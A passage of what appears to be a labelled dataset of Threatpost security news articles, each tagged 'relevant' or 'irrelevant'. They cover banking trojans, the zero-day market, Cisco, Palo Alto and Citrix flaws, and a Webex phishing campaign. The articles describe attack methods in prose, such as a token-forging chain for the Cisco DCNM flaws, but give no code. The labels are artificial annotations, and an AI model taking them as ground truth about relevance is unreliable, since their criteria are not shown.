(Portuguese and Spanish), we believe that Brazilian cybercriminals are working with local groups of coders and mules to withdraw stolen money, managed by different operators, selling access to its infrastructure and malware constructors.” Each Melcoz campaign runs on its unique ID, which varies between versions and C2s used. “Generally, the malware uses AutoIt or VBS scripts added into MSI files, which run malicious DLLs using the DLL-Hijack technique, aiming to bypass security solutions,” according to the report. The last family, Grandoreiro, has been active since 2016, researchers said, and has recently been targeting users across Latin America and in Europe. Kaspersky said that its malware is offered in an as-a-service model, and as a result, it’s become the most widespread of the four families. The malware is distributed via compromised websites as well as via spearphishing and, like Guildma and Javali, it hides its C2 communications on legitimate third-party websites. “Brazilian crooks are rapidly creating an ecosystem of affiliates, recruiting cybercriminals to work with in other countries, adopting MaaS (malware-as-a-service) and quickly adding new techniques to their malware as a way to keep it relevant and financially attractive to their partners,” the report noted. Dmitry Bestuzhev, head of Kaspersky’s GReAT in Latin America, added, “What’s more, they are continuously innovating, adding new tricks and techniques to hide their malicious activity and make their attacks more lucrative. We expect these four families to begin attacking more banks in additional countries, and new families to pop up. That’s why it’s so important for financial institutions to monitor these threats closely and take steps to boost their anti-fraud capabilities.”",irrelevant
"A Brisk Private Trade in Zero-Days Widens Their Use More zero-day exploits coming up for sale by NSO Group and others is democratizing the attack vector and placing them within reach of less sophisticated attackers. There were more zero-days exploited in 2019 than any of the previous three years, according to telemetry from FireEye Mandiant. The firm said that’s likely due to more zero-days coming up for sale by cyber-weapons dealers like NSO Group; a growing commercial market has made such tools much more widely available. While the identification and exploitation of zero-day vulnerabilities has historically been a calling card for only the most sophisticated cybercriminals, a wider range of threat actors are now gaining access to exploits for undocumented, unpatched bugs simply by buying them – no deep security expertise required. “A wider range of tracked actors appear to have gained access to these capabilities,” FireEye researchers noted in a blog post, published on Monday. “[This includes] a significant increase over time in the number of zero-days leveraged by groups suspected to be customers of companies that supply offensive cyber-capabilities.” One of the zero-day purveyors that may have done a brisk trade in 2019 was the controversial Israeli firm known as NSO Group. The private company has been criticized in the past for selling zero-day exploits to “authorized governments” who may have launched targeted attacks against human rights activists and journalists. That’s a charge it denies, arguing that it can be a force for good. In its analysis, FireEye pointed out that the FruityArmor APT (a.k.a. Stealth Falcon) continued to attack journalists and activists in the Middle East with targeted espionage campaigns over the course of the year; and from 2016 to 2019, this group used more zero-days than any other, according to FireEye’s analysis. The security firm also said that the APT has been known to buy zero-days from NSO Group, including three iOS zero-days in 2016 reported by Lookout. Also, the SandCat APT, which Kaspersky has said is likely affiliated with Uzbekistan state intelligence, was observed using a Windows kernel bug zero-day (CVE-2019-0859) that opened the door for full system takeover of victims. “This group may [also] have acquired their zero-days by purchasing malware from private companies such as NSO Group, as the zero-days used in SandCat operations were also used in Stealth Falcon operations, and it is unlikely that these distinct activity sets independently discovered the same…zero-days,” FireEye noted. SandCat and FruityArmor have been seen using the same exploits at other points in 2019 as well. Aside from involvement with nation-state-backed groups, 2019 also saw a zero-day exploit in WhatsApp (CVE-2019-3568) reportedly used to distribute spyware developed by NSO Group; and, an Android zero-day vulnerability (CVE-2019-2215) also was seen by Google researchers being exploited in the wild in October. Project Zero member Maddie Stone wrote in a technical post at the time that there are indicators that the exploit is “allegedly being used or sold by the NSO Group.” And finally, financially motivated groups have been seen potentially leveraging purchased zero-days in their operations. “In May 2019, we reported that FIN6 used a Windows server 2019 use-after-free zero-day (CVE-2019-0859) in a targeted intrusion in February 2019,” according to the analysis. It added that reports at the time noted that the group potentially acquired the zero-day from a criminal underground actor known as “BuggiCorp.” However, “we have not identified direct evidence linking this actor to this exploit’s development or sale,” according to FireEye. “We surmise that access to zero-day capabilities is becoming increasingly commodified based on the proportion of zero-days exploited in the wild by suspected customers of private companies,” FireEye concluded. “Private companies are likely creating and supplying a larger proportion of zero-days than they have in the past, resulting in a concentration of zero-day capabilities among highly resourced groups.” Adam Bauer, senior staff security intelligence engineer at Lookout, told Threatpost that his firm has seen the same trend line. “In 2019, Lookout researchers were able to obtain leaked conversations between a government group tasked with building surveillance capabilities and a number of private-sector vendors selling zero-day exploits for both mobile devices and desktop computers,” he said. “These conversations confirmed that zero-day exploits were readily available for purchase.” He added, “there is an important distinction here, which is that the ability to discover a zero-day still requires a highly-skilled adversary, but the ability to exploit that zero-day is definitely available to the highest bidder.” Chris Morales, head of security analytics at Vectra, said that the advancement of development tools could also be fueling the phenomenon. “The FireEye advisory mentions that private companies are likely creating and supplying a larger proportion of zero-days than they have in the past,” he told Threatpost. “I wonder how much the current increase in available zero-day is related to the use of machine learning for automated fuzzing? Fuzzing is really hard to do with a high cost of overhead of time and skill. That is why historically attackers have reverted to the simple easy stuff which usually works. Zero-days had a high cost and therefore high value.” However, automated and intelligent fuzzing combined with the fast turnaround of developing exploits for newly discovered vulnerabilities could change the game, he added. “The outcome would be a lowering of the cost of zero-days, making them more likely to be used more frequently,” he said. “Is that what we are seeing here? Scale of economy? We knew it was always coming. Looks like it might be here.”",relevant
"Cerberus Banking Trojan Unleashed on Google Play The Cerberus malware can steal banking credentials, bypass security measures and access text messages. A malicious Android app has been uncovered on the Google Play app marketplace that is distributing the banking trojan, Cerberus. The app has 10,000 downloads. Researchers said that the trojan was found within the last few days, as it was being spread via a Spanish currency converter app (called “Calculadora de Moneda”), which has been available to Android users in Spain since March. Once executed, the malware has the capabilities to steal victims’ bank-account credentials and bypass security measures, including two-factor authentication (2FA). “As is common with banking malware, Cerberus disguised itself as a genuine app in order to access the banking details of unsuspecting users,” Ondrej David, with Avast, said in a Tuesday analysis. “What’s not so common is that a banking trojan managed to sneak onto the Google Play Store.” To avoid initial detection, the app hid its malicious intentions for the first few weeks while being available on Google Play. During this time, the app acted normally as a legitimate converter, and it not steal any data or cause any harm, David said. “This was possibly to stealthily acquire users before starting any malicious activities, which could have grabbed the attention of malware researchers or Google’s Play Protect team,” according to David. In mid-June, newer versions of the currency converter included what researchers called a “dropper code,” but it still wasn’t activated. Then, on July 1, the app deployed a second stage where it became a dropper, silently downloading the malware onto devices without the victims’ knowledge. The app was connected to a command-and-control server (C2), which issued a new command to download the additional malicious Android Application Package (APK), Cerberus. Cerberus has various spying and credential-theft functionalities. It can sit over an existing banking app and wait for the user to log into their bank account. Then, it creates a layover over the victims’ login screen, and steals their banking credentials. In addition, the trojan has the ability to access victims’ text messages, meaning that it can view two-factor authentication (2FA) codes sent via message. “It uses Android’s accessibility function, as well as the overlay attack mechanism, which is typical for banking trojans, so when a user opens their regular banking app, an overlay screen is created, and the user’s login details collected,” David told Threatpost. Researchers said that the C2 server and payload associated with the campaign were active up until Monday of this week. Then, on Monday evening, the C2 server disappeared and the currency converter on Google Play no longer contained the trojan malware. Avast has notified Google about the malicious app; Threatpost has reached out to Google for further comment on whether the app is still available on Google Play. “The version in Google Play currently does not contain the dropper code anymore – the app was updated with a new version, which is benign again,” David told Threatpost. “We can only speculate why the threat actors are doing this. It could be they are testing different options with this app, including whether and when Google or external cybersecurity researchers detect the malicious code. So far, we have not received a response from Google yet.” The Evolving Cerberus Threat Cerberus first emerged last August on underground forums, being offered in a malware-as-a-service (MaaS) model. Since then a newly discovered variant of the Cerberus Android trojan has been spotted, with vastly expanded and more sophisticated info-harvesting capabilities, and the ability to run TeamViewer. It’s only the latest malware family to be discovered on a legitimate app marketplace. In February, researchers identified eight malicious Android apps on Google Play distributing the “Haken” malware, which exfiltrates sensitive data from victims and covertly signs them up for expensive premium subscription services. And in April, a new spyware campaign dubbed PhantomLance was discovered being distributed via dozens of apps within Google Play. David said that Android users can protect themselves by paying attention to the permissions an app requests and checking an app’s user ratings. “If you feel that the app is requesting more than it promises to deliver, treat this as a red flag,” he said.",relevant
"CISA Emergency Directive Orders Immediate Fix of Windows DNS Server Bug An emergency directive orders some federal agencies to apply Microsoft’s patch for a critical DNS vulnerability by Friday, July 17 at 2 p.m. (ET). The U.S. Cybersecurity and Infrastructure Security Agency (CISA) is ordering all federal executive branch offices to apply a patch for a wormable Windows Server bug within 24 hours, warning of a “high potential for compromise of agency information systems.” In an Emergency Directive, the Department of Homeland Security (DHS) agency ordered the “Federal Civilian Executive Branch” to apply a patch Microsoft released Tuesday for the vulnerability, (CVE-2020-1350), by 2:00 pm ET Friday. “CISA has determined that this vulnerability poses unacceptable significant risk to the Federal Civilian Executive Branch and requires an immediate and emergency action,” the agency said in the directive. Specifically, the directive requires that by the deadline, all of the aforementioned agencies do the following: “Update all endpoints running Windows Server operating systems; ensure the July 2020 Security Update or registry modification workaround is applied to all Windows Servers running the DNS role; ensure the July 2020 Security Update is applied to all Windows Servers and, if necessary and applicable, the registry change workaround is removed; and ensure technical and/or management controls are in place to ensure newly provisioned or previously disconnected servers are updated before connecting to agency networks.” While there is no evidence of current active exploitation of the vulnerability, the CISA based its warning on “the likelihood of the vulnerability being exploited” as well as “the widespread use of the affected software across the Federal enterprise,” and “the grave impact of a successful compromise,” according to the directive. The CISA emergency directive includes: By 2:00 pm EDT, Friday, July 17, 2020, ensure the July 2020 Security Update or registry modification workaround is applied to all Windows Servers running the DNS role. By 2:00 pm EDT, Friday, July 24, 2020, ensure the July 2020 Security Update is applied to all Windows Servers and, if necessary and applicable, the registry change workaround is removed. By 2:00 pm EDT, Friday, July 24, 2020, ensure technical and/or management controls are in place to ensure newly provisioned or previously disconnected servers are updated before connecting to agency networks. The agency recommends taking equipment offline if it can’t be patched before the CISA deadline. The vulnerability, a DNS flaw, was one of 123 bugs Microsoft patch in July’s Patch Tuesday, the fifth month in a row the company patched more than 100 vulnerabilities. CVE-2020-1350 is a remote code-execution vulnerability in the Windows Domain Name System (DNS) Server that was initially discovered by Sagi Tzaik, a researcher at Check Point. That bug exists due to the improper handling of requests sent to Windows DNS servers, according to researchers. “A remote, unauthenticated attacker could exploit this vulnerability by sending a malicious request to a vulnerable Windows DNS server,” wrote Satnam Narang, staff research engineer at Tenable, in the company’s Patch Tuesday analysis. “Successful exploitation would allow the attacker to execute arbitrary code under the local system account context,” Moreover, the vulnerability is wormable, which means it could spread from computer to computer without user interaction, making it all the more dangerous, he said. Although Emergency Directive 20-03 applies only to certain Executive Branch departments and agencies, the CISA also strongly recommends that all state and local governments, the private sector, and others patch this critical vulnerability as soon as possible. The CISA has had its hands full lately warning on the exploit likelihood and danger of critical vulnerabilities that have either been discovered or patched in widely used hardware and software. On July 14, the CISA warned of a critical vulnerability for SAP customers, the successful exploitation of which could open the door for attackers to read and modify financial records; change banking details; read personal identifiable information (PII); and engage in other numerous types of disruptive behavior. A week before that, the agency urged all administrators to implement an urgent patch for a critical vulnerability in F5 Networks’ networking devices, which is being actively exploited by attackers to scrape credentials, launch malware and more. The CISA also warned June 30 that foreign hackers were likely to exploit a critical vulnerability, CVE-2020-2021, in a raft of Palo Alto Networks firewalls and enterprise VPN appliances, ordering agencies to patch all affected devices.",relevant
"CISA: Nation-State Attackers Likely to Take Aim at Palo Alto Networks Bug An authentication-bypass vulnerability allows attackers to access network assets without credentials when SAML is enabled on certain firewalls and enterprise VPNs. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) is warning that foreign hackers are likely to exploit a newly disclosed, critical vulnerability in a raft of Palo Alto Networks firewalls and enterprise VPN appliances, which allows for device takeover without authentication. The Department of Defense (DoD) arm that oversees cyberspace operations has advised all devices affected by the flaw, CVE-2020-2021, be patched immediately. The vulnerability affects devices that use Security Assertion Markup Language (SAML), according to a tweet by the agency. “Foreign APTs will likely attempt exploit soon,” U.S. Cyber Command tweeted. “We appreciate @PaloAltoNtwks’ proactive response to this vulnerability.” Palo Alto Networks on Monday posted an advisory on the vulnerability, which affects the devices’ operating systems (PAN-OS). PAN-OS 9.1 versions earlier than PAN-OS 9.1.3; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9; PAN-OS 8.1 versions earlier than PAN-OS 8.1.15, and all versions of PAN-OS 8.0 (EOL). PAN-OS 7.1 is not affected. Palo Alto already has patched the issue in PAN-OS 8.1.15, PAN-OS 9.0.9, PAN-OS 9.1.3, and all later versions, which is why CISA is urging immediate update to affected devices. The vulnerability basically allows for authentication bypass, so threat actors can access the device without having to provide any credentials. However, hackers can only exploit the flaw when SAML authentication is enabled and the “Validate Identity Provider Certificate” option is disabled (unchecked), according to researchers. This combination allows for “an unauthenticated network-based attacker to access protected resources” through an “improper verification of signatures in PAN-OS SAML authentication,” according to Palo Alto’s alert. “The attacker must have network access to the vulnerable server to exploit this vulnerability,” researchers added. Palo Alto provided details for how users of potentially affected devices can check if their device is in the configuration that allows for exploitation of the flaw. “Any unauthorized access is logged in the system logs based on the configuration; however, it can be difficult to distinguish between valid and malicious logins or sessions,” researchers added in the advisory. CISA doesn’t typically issue a warning on just any security flaw in vendors’ enterprise products. However, the agency’s cause for concern seems to be that the vulnerability has been rated the highest score on the CVSSv3 severity scale—a 10 out of 10. This rating means it is easy to exploit and doesn’t require advanced technical skills. Attackers also don’t need to infiltrate the device they target itself to exploit the flaw; they can do so remotely via the internet. Users noted that they have been aware of the flaw for some time, so they also welcomed the fix from Palo Alto. “This was a great concern,” wrote Twitter user Sihegee USA / Social, who suggested that people using devices with Yhoo and AT&T email services might be particularly affected by the issue. “At least now we have a patch.” When updating affected devices, people should ensure that the signing certificate for their SAML identity provider is configured as the “Identity Provider Certificate” before upgrading, to ensure that users of the device can continue to authenticate successfully, according to Palo Alto. Details of all actions required before and after upgrading PAN-OS are available from the company online.",relevant
"Cisco Warns of Critical Network Security Tool Flaw The critical flaw exists in Cisco’s administrative management tool, used with network security solutions like firewalls. A critical Cisco vulnerability exists in its administrative management tool for Cisco network security solutions. The flaw could allow an unauthenticated, remote attacker to gain administrative privileges on impacted devices. The flaw exists in the web-based management interface of the Cisco Firepower Management Center (FMC), which is its platform for managing Cisco network security solutions, like firewalls or its advanced malware protection service. Cisco has released patches for the vulnerability (CVE-2019-16028), which has a score of 9.8 out of 10 on the CVSS scale, making it critical in severity. “The Cisco Product Security Incident Response Team (PSIRT) is not aware of any public announcements or malicious use of the vulnerability that is described in this advisory,” Cisco said in its advisory released Wednesday. The vulnerability stems from “improper handling” of Lightweight Directory Access Protocol (LDAP) authentication responses from an external authentication server. LDAP is an industry standard application protocol used to access and manage directory information over an IP network. LDAP is used for a variety of functions within FMC, such as FMC Web Management Portal Authentication, Remote Access VPN Authorization, command line interface authorization, and others. This vulnerability impacts only the FMC Web Management Portal if it is configured to authenticate users of the web management portal through an external LDAP server. An attacker could exploit this vulnerability by sending crafted HTTP requests to a vulnerable device, Cisco said. They could then bypass authentication and gain administrative access to the web-based management interface of the affected device. cisco critical flaw According to Omar Santos, principal engineer for the Cisco PSIRT, Cisco customers can do the following to determine whether they are impacted: Check if the Cisco FMC Software is configured to authenticate users of the web-based management interface through an external LDAP server; Check if external authentication using an LDAP server is configured on the device (System > Users > External Authentication) Overall, Cisco released updates addressing 27 flaws on Wednesday, including the critical flaw, seven high-severity vulnerabilities and 19 medium-severity glitches. Some of the patched high-severity flaws exist in Cisco’s TelePresence Collaboration Endpoint (a product designed to link two rooms so they resemble a single conference room), its SD-WAN solution, its IOS XR software and more. It’s been a busy start to 2020 so far for Cisco in terms of security updates. Earlier this month, Cisco fixed two high-severity vulnerabilities in its products, including one in its popular Webex video conferencing platform, that could enable a remote attacker to execute commands. Also earlier in January Cisco also patched three critical vulnerabilities (CVE-2019-15975, CVE-2019-15976, CVE-2019-15977) in its Data Center Network Manager (DCNM), for which a proof-of-concept exploit was later published.",relevant
"Cisco ‘Critical Update’ Phishing Attack Steals Webex Credentials Emails purporting to be a Cisco “critical security advisory” are actually part of a phishing campaign trying to steal victims’ Webex credentials. An ongoing phishing campaign is reeling in victims with a recycled Cisco security advisory that warns of a critical vulnerability. The campaign urges victims to “update,” only to steal their credentials for Cisco’s Webex web conferencing platform instead. The campaign is looking to leverage the wave of remote workers who, in the midst of the coronavirus pandemic have come to rely on online conferencing tools like Webex (as well as Zoom and other platforms). With this upward spike in online meetings, compromised Webex credentials could be a cybercriminal’s golden ticket into web conference calls where sensitive files and data are shared (among other malicious activities). “Targeting users of teleconferencing brands is nothing new,” said Ashley Tran with Cofense’s phishing defense center, in a Thursday analysis. “But with most organizations adhering to guidelines that non-essential workers stay home, the rapid influx of remote workers is prime picking for attackers trying to spoof brands like WebEx. We anticipate there will continue be an increase in remote work phishing in the months to come.” Researchers said the phishing emails are being sent with various attention-grabbing subject lines, such as “Critical Update” or “Alert!” and come from the spoofed email address, “meetings@webex[.]com”. Researchers told Threatpost, this was a mass “spray and pray” phishing campaign with “numerous end users” receiving and reporting the email from several several industries, including the healthcare and financial spaces. “With the subject and mail content combined, this may [engage] users’ curiosity enough to entice them click in order to take the requested action,” said Tran. The body of the email embeds content from a real Cisco Security Advisory from December 2016, along with Cisco Webex branding. The advisory is for CVE-2016-9223, a legitimate vulnerability in CloudCenter Orchestrator Docker Engine, which is Cisco’s management tool for applications in multiple data-center, private-cloud and public-cloud environments. This critical flaw allowed unauthenticated, remote attackers to install Docker containers with high privileges on affected systems; at the time of disclosure in 2016, it was being exploited in the wild. However, the vulnerability was fixed in the Cisco CloudCenter Orchestrator 4.6.2 patch release (also in 2016). cisco Webex phishing campaign “In this scenario, the threat actor has spoofed a legitimate business service and explained a problem with their software, prompting even non-technical readers to read further,” said the Confense researcher. “The threat actor even links to a legitimate write-up for the vulnerability, found at the URL embedded into the text ‘CVE-2016-9223.'” The email tells victims, “To fix this error, we recommend that you update the version of Cisco Meetings Desktop App for Windows” and points them to a “Join” button to learn more about the “update.” The attackers behind this campaign appear to be meticulous in the details, right down to the URL linked to the “Join” button. If more cautious email recipients hover over the button to check the URL, they’ll find the URL [hxxps://globalpagee-prod-webex[.]com/signin] to be strikingly similar to the legitimate Cisco WebEx URL [hxxps://globalpage-prod[.]webex[.]com/signin]. The Landing Page Victims who click on the “Join” button are redirected to the phishing landing page, which is identical to the legitimate Cisco WebEx login page. Researchers said one small difference is that when email addresses are typed into the legitimate Webex page, entries are checked to verify if there are associated accounts. On the phishing page, meanwhile, any email format entry takes the recipient directly to the next page to request their password. The threat actor registered the fraudulent domain tied to the landing page through the Public Domain Registry just days before sending out the phishing emails. The fraudulent domain was still live and active as of Wednesday, researchers said. cisco Webex phishing campaign “The attacker has even gone as far as obtaining a SSL certificate for their fraudulent domain to gain further trust from end users,” researchers said. “While the official Cisco certificate is verified by HydrantID, the attacker’s certificate is through Sectigo Limited. Regardless of who verified the attacker’s certificate, the result is the same – a lock to the left of its URL that renders the email legitimate the eyes of many users.” Researchers warn users to stay on the lookout for bad actors spoofing web conferencing and virtual collaboration apps. In general, attackers are taking advantage of the panic around the coronavirus with phishing emails around financial relief, promises of a cure and symptom information details.",relevant
"Critical Cisco Flaws Now Have PoC Exploit The flaws affect a key tool for managing its network platform and switches. Proof-of-concept exploit code has been published for critical flaws impacting the Cisco Data Center Network Manager (DCNM) tool for managing network platforms and switches. The three critical vulnerabilities in question (CVE-2019-15975, CVE-2019-15976, CVE-2019-15977) impact DCNM, a platform for managing Cisco data centers that run Cisco’s NX-OS — the network operating system used by Cisco’s Nexus-series Ethernet switches and MDS-series Fibre Channel storage area network switches. The flaws, patched on Jan. 3, could allow an unauthenticated, remote attacker to bypass endpoint authentication and execute arbitrary actions with administrative privileges on targeted devices. Fast forward to this week, the security researcher who initially discovered the flaws, Steven Seeley, released public PoC exploits for the flaws. “In this post, I share three (3) full exploitation chains and multiple primitives that can be used to compromise different installations and setups of the Cisco DCNM product to achieve unauthenticated remote code execution as SYSTEM/root,” he explained in a blog post. “In the third chain, I (ab)use the java.lang.InheritableThreadLocal class to perform a shallow copy to gain access to a valid session.” The Flaws Two of the flaws (CVE-2019-15975 and CVE-2019-15976) are authentication bypass vulnerabilities in the REST API and SOAP API endpoints for Cisco DCNM. Representational State Transfer (REST) is an architecture style for designing networked applications, according to RestFulApi.net; while Simple Object Access Protocol (SOAP) is a standard communication protocol system that allows processes using different operating systems (like Linux and Windows) to communicate via HTTP and its XML, according to a DZone description. The flaw stems specifically from the existence of a static encryption key shared between REST API and SOAP API installations. The third bug (CVE-2019-15976) is described by Cisco as “data center network manager authentication bypass vulnerability.” This flaw exists in the web-based management interface of the DCNM, allowing an unauthenticated, remote attacker to bypass authentication on an affected device. PoC Exploit Seeley said he was able to exploit the flaw by targeting two different setups of DCNM “because some code paths and exploitation techniques were platform specific.” Those two were the Cisco DCNM installer for Windows and DCNM ISO Virtual Appliance for VMWare servers (both were DCNM version 11.2, released June 18, 2019). Seeley said that he was able to control all the elements to forge his own token and then use a hardcoded key to generate a Single Sign-On Token (ssoToken), which allowed him to bypass authentication. From there, he could “send a SOAP request to the /DbAdminWSService/DbAdminWS endpoint and add a global admin user that will give us access to all interfaces,” he said. With the PoC exploit code now available, Cisco is urging customers to update. The networking giant released software updates patching the vulnerabilities earlier this month, “The Cisco Product Security Incident Response Team (PSIRT) is aware that proof-of-concept exploit code is available for the vulnerabilities that are described in this advisory,” according to Cisco’s advisory, which was updated on Wednesday.",relevant
"High-Severity Cisco IOS XE Flaw Threatens SD-WAN Routers Cisco’s IOS XE software for SD-WAN routers has a high-severity insufficient input validation flaw. Cisco has patched a high-severity vulnerability in its router software, which if exploited could enable a local, authenticated attacker to execute arbitrary commands with root privileges. The flaw exists in Cisco IOS XE. This Linux-based version of Cisco’s Internetworking Operating System (IOS) is used in Cisco software-defined wide area network (SD-WAN) routers. Affected routers include the Aggregation Services Routers (ASR) 1000 models, Integrated Services Routers (ISR) 1000 models, ISR 4000 models and Cloud Services Router 1000V models. These are all used by small businesses and enterprises alike. “The Cisco Product Security Incident Response Team (PSIRT) is not aware of any public announcements or malicious use of the vulnerability,” according to Cisco’s Wednesday advisory. The flaw exists in the command line interface (CLI) utility of Cisco IOX XE, used to configure the network device. The CLI does not sufficiently validate input commands. An attacker could exploit this vulnerability by authenticating to the device and submitting a crafted input to the CLI utility, according to Cisco. “The attacker must be authenticated to access the CLI utility,” according to Cisco. “A successful exploit could allow the attacker to execute commands with root privileges.” The flaw (CVE-2019-16011) has a CVSS 3.0 score of 7.8 out of 10, which makes it high severity. Fixed releases for Cisco IOS XE SD-WAN are below. cisco vulnerability flaw Julien Legras and Thomas Etrillard of Synacktiv were credited for reporting the flaw. Cisco’s IOS XE software has had its fair share of security issues. In March, Cisco issued 24 patches tied to vulnerabilities in its IOS XE operating system. The networking giant in January also released fixes for another high-severity glitch in the web user interface of Cisco IOS and Cisco IOS XE Software. Last July, Cisco patched a high-severity vulnerability in IOS XE, which could enable a remote attacker to reconfigure or execute commands on impacted devices. And in August, a critical remote authentication-bypass vulnerability – with the highest possible severity level of 10 out of 10 on the CvSS scale – was found in the Cisco REST API virtual service container for Cisco IOS XE Software.",relevant
"3 Critical Bugs Allow Remote Attacks on Cisco NX-OS and Switches Cisco patched three authentication bypass bugs tied to its DCNM platform used to manages NX-OS. Cisco Systems has issued patches for three critical vulnerabilities impacting a key tool for managing its network platform and switches. The bugs could allow an unauthenticated, remote attacker to bypass endpoint authentication and execute arbitrary actions with administrative privileges on targeted devices, the vendor said. the networking giant disclosed the critical flaws on Thursday; all three (CVE-2019-15975, CVE-2019-15976, CVE-2019-15977) impact the Cisco Data Center Network Manager (DCNM), a platform for managing its data centers running Cisco’s NX-OS. NX-OS is the network operating system used by Cisco’s Nexus-series Ethernet switches and MDS-series Fibre Channel storage area network switches. Affected products include Cisco DCNM software releases earlier than Release 11.3 for Microsoft Windows, Linux and virtual appliance platforms. According to the Tenable researchers that analyzed the bugs, two of the flaws (CVE-2019-15975 and CVE-2019-15976), “are authentication bypass vulnerabilities in the REST API and SOAP API endpoints for Cisco DCNM due to the existence of a static encryption key shared between installations.” Representational State Transfer (REST) is an architecture style for designing networked applications, according to RestFulApi.net. Simple Object Access Protocol (SOAP) is a standard communication protocol system that permits processes using different operating systems such as Linux and Windows to communicate via HTTP and its XML, according to a DZone description. “A remote, unauthenticated attacker could gain administrative privileges through either the REST API or SOAP API by sending a specially crafted request that includes a valid session token generated using the static encryption key,” wrote Satnam Narang, senior research engineer with Tenable, in a blog post outlining the discovery. Cisco wrote in its security advisory that vulnerabilities can be exploited independently of the other. The third bug (CVE-2019-15976) is described by Cisco as “data center network manager authentication bypass vulnerability.” This flaw exists in the web-based management interface of the DCNM, allowing an unauthenticated, remote attacker to bypass authentication on an affected device. “The vulnerability is due to the presence of static credentials. An attacker could exploit this vulnerability by using the static credentials to authenticate against the user interface,” Cisco wrote. “A successful exploit could allow the attacker to access a specific section of the web interface and obtain certain confidential information from an affected device. This information could be used to conduct further attacks against the system.” Each of the three bugs received a Common Vulnerability Scoring System Score of 9.8 severity. Cisco has released software updates patching the vulnerabilities. The company added there are no workarounds to fix the problems. In addition to the three critical bugs, Cisco patched nine additional flaws of lesser severity, also tied to its DCNM component.",relevant
"Cisco Patches Two High-Severity Bugs in its Small Business Switch Lineup Vulnerabilities allow unauthenticated remote attackers to access sensitive device information and launch denial of service attacks. Cisco Systems released security patches on Wednesday for high-severity vulnerabilities affecting over a half dozen of its small business switches. The flaws allow remote unauthenticated adversaries to access sensitive information and level denial-of-service (DoS) attacks against affected gear. Impacted are Series Smart Switches, Series Managed Switches and Series Stackable Managed Switches. Cisco said it was unaware of active exploitation of the vulnerabilities and software updates remediating the flaws are available, however no workaround fixes are available. The vulnerabilities include an information disclosure flaw (CVE-2019-15993) and a bug (CVE-2020-3147) that creates conditions optimum for a DoS attack. Cisco says that the latter vulnerability is tied the web user interface used by affected switches that could allow an unauthenticated remote attacker to “cause an unexpected reload of the device, resulting in a DoS condition.” The vulnerability is due to improper validation of requests sent to the web interface. “An attacker could exploit this vulnerability by sending a malicious request to the web interface of an affected device,” Cisco wrote. A weakness in Cisco’s web user interface for its small business switches is also to blame for the information disclosure bug. Cisco Systems small business switches contain two bugs“The vulnerability exists because the software lacks proper authentication controls to information accessible from the web UI. An attacker could exploit this vulnerability by sending a malicious HTTP request to the web UI of an affected device,” Cisco wrote. A successful attack could allow an adversary to access sensitive configuration files, according to the company. Vulnerable to the information disclosure bug are: 250 Series Smart Switches, 350 Series Managed Switches, 350X Series Stackable Managed Switches and 550X Series Stackable Managed Switches running firmware release earlier than 2.5.0.92. Also impacted are switch models 200 Series Smart Switches, 300 Series Managed Switches and 500 Series Stackable Managed Switches running a firmware release earlier than 1.4.11.4. Cisco said the DoS bug impacts the same products with the exception of switches; 250 Series Smart Switches, 350 Series Managed Switches, 350X Series Stackable Managed Switches and 550X Series Stackable Managed Switches. Researcher Ken Pyle of DFDR Consulting is credited by Cisco for reporting both vulnerabilities.",relevant
"Cisco Warns of High-Severity SD-WAN Flaws The high-severity flaws exist in the products using SD-WAN software earlier than Release 19.2.2. Cisco Systems has fixed three high-severity vulnerabilities in its software-defined networking for wide-area network (SD-WAN) solutions for business users. If exploited, the flaws could enable bad actors to execute commands with root privileges on affected systems. To exploit the vulnerabilities attackers need to first be local and authenticated. The three flaws are located in various Cisco hardware and software products running the company’s SD-WAN software earlier than Release 19.2.2 (the fixed release). Hardware includes the company’s SD-WAN solutions: vBond and vSmart controllers (which implements network connectivity), the vManage Network Management system (the centralized management platform) and the vBond Orchestrator software (which performs authentication of all elements in the network). Also affected are various vEdge routers, and the corresponding vEdge cloud router platform. “The Cisco Product Security Incident Response Team is not aware of any public announcements or malicious use of the vulnerability that is described in this advisory,” according to Cisco’s Wednesday advisory. The most severe of these vulnerabilities is an insufficient input validation error (CVE-2020-3266) in the Command Line Interface (CLI) of SD-WAN. CLI is the text-based interface, used to operate software and allowing users to type single commands into the interface. While the flaw can only be exploited by authenticated and local attackers, if exploited it would enable them to inject arbitrary commands that are executed with root privileges. “An attacker could exploit this vulnerability by authenticating to the device and submitting crafted input to the CLI utility,” according to Cisco’s advisory. “The attacker must be authenticated to access the CLI utility. A successful exploit could allow the attacker to execute commands with root privileges.” This flaw scores 7.8 out of 10.0 on the CVSS scale, making it high-severity. The second flaw (CVE-2020-3264) is a buffer overflow vulnerability that also stems from insufficient input validation in the software. This flaw could enable an authenticated, local attacker to “gain access to information that they are not authorized to access and make changes to the system that they are not authorized to make.” An attacker could exploit the flaw by sending crafted traffic to an affected device. The flaw ranks 7.1 out of 10.0 on the CVSS scale, or high severity. The final high-severity flaw (CVE-2020-3265) is a privilege escalation flaw in the SD-WAN software that could allow authenticated, local attackers to elevate privileges – ultimately gaining “root-level” privileges on the underlying operating system. This flaw ranks 7.0 out of 10.0 on the CVSS scale. “The vulnerability is due to insufficient input validation,” said Cisco. “An attacker could exploit this vulnerability by sending a crafted request to an affected system.” Cisco has previously issued patches for several critical- and high-severity vulnerabilities in its SD-WAN software, including a critical privilege-escalation flaw (CVE-2019-1625) existing in CLI in June, and a high-severity flaw in the SD-WAN software in January.",relevant
"Citrix Warns of Critical Flaws in XenMobile Server Citrix said that it anticipates malicious actors “will move quickly to exploit” two critical flaws in its mobile device management software. Citrix is urging users to immediately patch a pair of critical flaws in its flagship mobile device management software. If exploited, the flaws could allow remote, unauthorized attackers to access domain account credentials – ultimately opening the door to a treasure trove of corporate data, including email and web applications. The flaws exist in Citrix Endpoint Management (CEM), often referred to as XenMobile Server, which enables businesses to manage employees’ mobile devices and mobile applications by controlling device security settings and updates. Overall, five vulnerabilities were discovered – two of which (CVE-2020-8208 and CVE-2020-8209) are rated critical in severity. Register today! “We recommend these upgrades be made immediately,” Fermin J. Serna, Chief Information Security Officer at Citrix, said in a Tuesday post. “While there are no known exploits as of this writing, we do anticipate malicious actors will move quickly to exploit.” One of the two critical flaws discovered, CVE-2020-8209, is a path traversal flaw that stems from insufficient input validation. Path traversal bugs stem from web security glitches that enable bad actors to read arbitrary files on the server that is running an application. That’s the case here, as Positive Technologies expert Andrey Medov, who discovered the flaw, said that attackers can exploit the flaw by convincing users to follow a specially crafted URL. They would then be able to access arbitrary files outside the web server root directory, including configuration files and encryption keys for 